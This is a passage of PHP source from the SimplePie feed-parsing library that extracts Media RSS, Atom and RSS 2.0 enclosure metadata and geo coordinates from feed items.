										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
								}
								if (is_array($credits))
								{
									$credits = array_values(array_unique($credits));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
								{
									$credit_role = null;
									$credit_scheme = null;
									$credit_name = null;
									if (isset($credit['attribs']['']['role']))
									{
										$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($credit['attribs']['']['scheme']))
									{
										$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$credit_scheme = 'urn:ebu';
									}
									if (isset($credit['data']))
									{
										$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
								}
								if (is_array($credits))
								{
									$credits = array_values(array_unique($credits));
								}
							}
							else
							{
								$credits = $credits_parent;
							}

							// DESCRIPTION
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
							{
								$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
							{
								$description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$description = $description_parent;
							}

							// HASHES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
								{
									$value = null;
									$algo = null;
									if (isset($hash['data']))
									{
										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($hash['attribs']['']['algo']))
									{
										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$algo = 'md5';
									}
									$hashes[] = $algo.':'.$value;
								}
								if (is_array($hashes))
								{
									$hashes = array_values(array_unique($hashes));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
								{
									$value = null;
									$algo = null;
									if (isset($hash['data']))
									{
										$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($hash['attribs']['']['algo']))
									{
										$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$algo = 'md5';
									}
									$hashes[] = $algo.':'.$value;
								}
								if (is_array($hashes))
								{
									$hashes = array_values(array_unique($hashes));
								}
							}
							else
							{
								$hashes = $hashes_parent;
							}

							// KEYWORDS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
							{
								if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
								{
									$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
									foreach ($temp as $word)
									{
										$keywords[] = trim($word);
									}
									unset($temp);
								}
								if (is_array($keywords))
								{
									$keywords = array_values(array_unique($keywords));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
							{
								if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
								{
									$temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
									foreach ($temp as $word)
									{
										$keywords[] = trim($word);
									}
									unset($temp);
								}
								if (is_array($keywords))
								{
									$keywords = array_values(array_unique($keywords));
								}
							}
							else
							{
								$keywords = $keywords_parent;
							}

							// PLAYER
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
							{
								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
							{
								$player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
							else
							{
								$player = $player_parent;
							}

							// RATINGS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
								{
									$rating_scheme = null;
									$rating_value = null;
									if (isset($rating['attribs']['']['scheme']))
									{
										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$rating_scheme = 'urn:simple';
									}
									if (isset($rating['data']))
									{
										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
								}
								if (is_array($ratings))
								{
									$ratings = array_values(array_unique($ratings));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
								{
									$rating_scheme = null;
									$rating_value = null;
									if (isset($rating['attribs']['']['scheme']))
									{
										$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									else
									{
										$rating_scheme = 'urn:simple';
									}
									if (isset($rating['data']))
									{
										$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
								}
								if (is_array($ratings))
								{
									$ratings = array_values(array_unique($ratings));
								}
							}
							else
							{
								$ratings = $ratings_parent;
							}

							// RESTRICTIONS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
								{
									$restriction_relationship = null;
									$restriction_type = null;
									$restriction_value = null;
									if (isset($restriction['attribs']['']['relationship']))
									{
										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['attribs']['']['type']))
									{
										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['data']))
									{
										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
								}
								if (is_array($restrictions))
								{
									$restrictions = array_values(array_unique($restrictions));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
								{
									$restriction_relationship = null;
									$restriction_type = null;
									$restriction_value = null;
									if (isset($restriction['attribs']['']['relationship']))
									{
										$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['attribs']['']['type']))
									{
										$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									if (isset($restriction['data']))
									{
										$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
									}
									$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
								}
								if (is_array($restrictions))
								{
									$restrictions = array_values(array_unique($restrictions));
								}
							}
							else
							{
								$restrictions = $restrictions_parent;
							}

							// THUMBNAILS
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
							{
								foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
								{
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
								if (is_array($thumbnails))
								{
									$thumbnails = array_values(array_unique($thumbnails));
								}
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
							{
								foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
								{
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
								if (is_array($thumbnails))
								{
									$thumbnails = array_values(array_unique($thumbnails));
								}
							}
							else
							{
								$thumbnails = $thumbnails_parent;
							}

							// TITLES
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
							{
								$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
							{
								$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							else
							{
								$title = $title_parent;
							}

							$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
						}
					}
				}
			}

			// If we have standalone media:content tags, loop through them.
			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
			{
				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
				{
					if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
					{
						// Attributes
						$bitrate = null;
						$channels = null;
						$duration = null;
						$expression = null;
						$framerate = null;
						$height = null;
						$javascript = null;
						$lang = null;
						$length = null;
						$medium = null;
						$samplingrate = null;
						$type = null;
						$url = null;
						$width = null;

						// Elements
						$captions = null;
						$categories = null;
						$copyrights = null;
						$credits = null;
						$description = null;
						$hashes = null;
						$keywords = null;
						$player = null;
						$ratings = null;
						$restrictions = null;
						$thumbnails = null;
						$title = null;

						// Start checking the attributes of media:content
						if (isset($content['attribs']['']['bitrate']))
						{
							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['channels']))
						{
							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['duration']))
						{
							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$duration = $duration_parent;
						}
						if (isset($content['attribs']['']['expression']))
						{
							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['framerate']))
						{
							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['height']))
						{
							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['lang']))
						{
							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['fileSize']))
						{
							$length = intval($content['attribs']['']['fileSize']);
						}
						if (isset($content['attribs']['']['medium']))
						{
							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['samplingrate']))
						{
							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['type']))
						{
							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['width']))
						{
							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						if (isset($content['attribs']['']['url']))
						{
							$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
						}
						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel

						// CAPTIONS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
							{
								$caption_type = null;
								$caption_lang = null;
								$caption_startTime = null;
								$caption_endTime = null;
								$caption_text = null;
								if (isset($caption['attribs']['']['type']))
								{
									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['lang']))
								{
									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['start']))
								{
									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['attribs']['']['end']))
								{
									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($caption['data']))
								{
									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text));
							}
							if (is_array($captions))
							{
								$captions = array_values(array_unique($captions));
							}
						}
						else
						{
							$captions = $captions_parent;
						}

						// CATEGORIES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
						{
							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
							{
								$term = null;
								$scheme = null;
								$label = null;
								if (isset($category['data']))
								{
									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($category['attribs']['']['scheme']))
								{
									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$scheme = 'http://search.yahoo.com/mrss/category_schema';
								}
								if (isset($category['attribs']['']['label']))
								{
									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
							}
						}
						if (is_array($categories) && is_array($categories_parent))
						{
							$categories = array_values(array_unique(array_merge($categories, $categories_parent)));
						}
						elseif (is_array($categories))
						{
							$categories = array_values(array_unique($categories));
						}
						elseif (is_array($categories_parent))
						{
							$categories = array_values(array_unique($categories_parent));
						}
						else
						{
							$categories = null;
						}

						// COPYRIGHTS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
						{
							$copyright_url = null;
							$copyright_label = null;
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
							{
								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
							{
								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
							}
							$copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label));
						}
						else
						{
							$copyrights = $copyrights_parent;
						}

						// CREDITS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
							{
								$credit_role = null;
								$credit_scheme = null;
								$credit_name = null;
								if (isset($credit['attribs']['']['role']))
								{
									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($credit['attribs']['']['scheme']))
								{
									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$credit_scheme = 'urn:ebu';
								}
								if (isset($credit['data']))
								{
									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name));
							}
							if (is_array($credits))
							{
								$credits = array_values(array_unique($credits));
							}
						}
						else
						{
							$credits = $credits_parent;
						}

						// DESCRIPTION
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
						{
							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$description = $description_parent;
						}

						// HASHES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
							{
								$value = null;
								$algo = null;
								if (isset($hash['data']))
								{
									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($hash['attribs']['']['algo']))
								{
									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$algo = 'md5';
								}
								$hashes[] = $algo.':'.$value;
							}
							if (is_array($hashes))
							{
								$hashes = array_values(array_unique($hashes));
							}
						}
						else
						{
							$hashes = $hashes_parent;
						}

						// KEYWORDS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
						{
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
							{
								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
								foreach ($temp as $word)
								{
									$keywords[] = trim($word);
								}
								unset($temp);
							}
							if (is_array($keywords))
							{
								$keywords = array_values(array_unique($keywords));
							}
						}
						else
						{
							$keywords = $keywords_parent;
						}

						// PLAYER
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
						{
							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) {
								$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
							}
						}
						else
						{
							$player = $player_parent;
						}

						// RATINGS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
							{
								$rating_scheme = null;
								$rating_value = null;
								if (isset($rating['attribs']['']['scheme']))
								{
									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								else
								{
									$rating_scheme = 'urn:simple';
								}
								if (isset($rating['data']))
								{
									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value));
							}
							if (is_array($ratings))
							{
								$ratings = array_values(array_unique($ratings));
							}
						}
						else
						{
							$ratings = $ratings_parent;
						}

						// RESTRICTIONS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
							{
								$restriction_relationship = null;
								$restriction_type = null;
								$restriction_value = null;
								if (isset($restriction['attribs']['']['relationship']))
								{
									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($restriction['attribs']['']['type']))
								{
									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								if (isset($restriction['data']))
								{
									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
								}
								$restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value));
							}
							if (is_array($restrictions))
							{
								$restrictions = array_values(array_unique($restrictions));
							}
						}
						else
						{
							$restrictions = $restrictions_parent;
						}

						// THUMBNAILS
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
						{
							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
							{
								if (isset($thumbnail['attribs']['']['url'])) {
									$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
								}
							}
							if (is_array($thumbnails))
							{
								$thumbnails = array_values(array_unique($thumbnails));
							}
						}
						else
						{
							$thumbnails = $thumbnails_parent;
						}

						// TITLES
						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
						{
							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
						}
						else
						{
							$title = $title_parent;
						}

						$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width));
					}
				}
			}

			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					if (isset($link['attribs']['']['type']))
					{
						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($link['attribs']['']['length']))
					{
						$length = intval($link['attribs']['']['length']);
					}
					if (isset($link['attribs']['']['title']))
					{
						$title = $this->sanitize($link['attribs']['']['title'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					else
					{
						$title = $title_parent;
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width));
				}
			}

			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
			{
				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure')
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
					if (isset($link['attribs']['']['type']))
					{
						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($link['attribs']['']['length']))
					{
						$length = intval($link['attribs']['']['length']);
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
				}
			}

			if ($enclosure = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'enclosure'))
			{
				if (isset($enclosure[0]['attribs']['']['url']))
				{
					// Attributes
					$bitrate = null;
					$channels = null;
					$duration = null;
					$expression = null;
					$framerate = null;
					$height = null;
					$javascript = null;
					$lang = null;
					$length = null;
					$medium = null;
					$samplingrate = null;
					$type = null;
					$url = null;
					$width = null;

					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
					$url = $this->feed->sanitize->https_url($url);
					if (isset($enclosure[0]['attribs']['']['type']))
					{
						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
					}
					if (isset($enclosure[0]['attribs']['']['length']))
					{
						$length = intval($enclosure[0]['attribs']['']['length']);
					}

					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
					$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
				}
			}

			if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
			{
				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
				$this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width));
			}

			$this->data['enclosures'] = array_values(array_unique($this->data['enclosures']));
		}
		if (!empty($this->data['enclosures']))
		{
			return $this->data['enclosures'];
		}

		return null;
	}

	/**
	 * Get the latitude coordinates for the item
	 *
	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
	 *
	 * Uses `<geo:lat>` or `<georss:point>`
	 *
	 * @since 1.0
	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
	 * @link http://www.georss.org/ GeoRSS
	 * @return string|null
	 */
	public function get_latitude()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[1];
		}

		return null;
	}

	/**
	 * Get the longitude coordinates for the item
	 *
	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
	 *
	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
	 *
	 * @since 1.0
	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
	 * @link http://www.georss.org/ GeoRSS
	 * @return string|null
	 */
	public function get_longitude()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
		{
			return (float) $return[0]['data'];
		}
		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
		{
			return (float) $return[0]['data'];
		}
		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
		{
			return (float) $match[2];
		}

		return null;
	}

	/**
	 * Get the `<atom:source>` for the item
	 *
	 * @since 1.1
	 * @return SimplePie_Source|null
	 */
	public function get_source()
	{
		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
		{
			return $this->registry->create('Source', array($this, $return[0]));
		}

		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
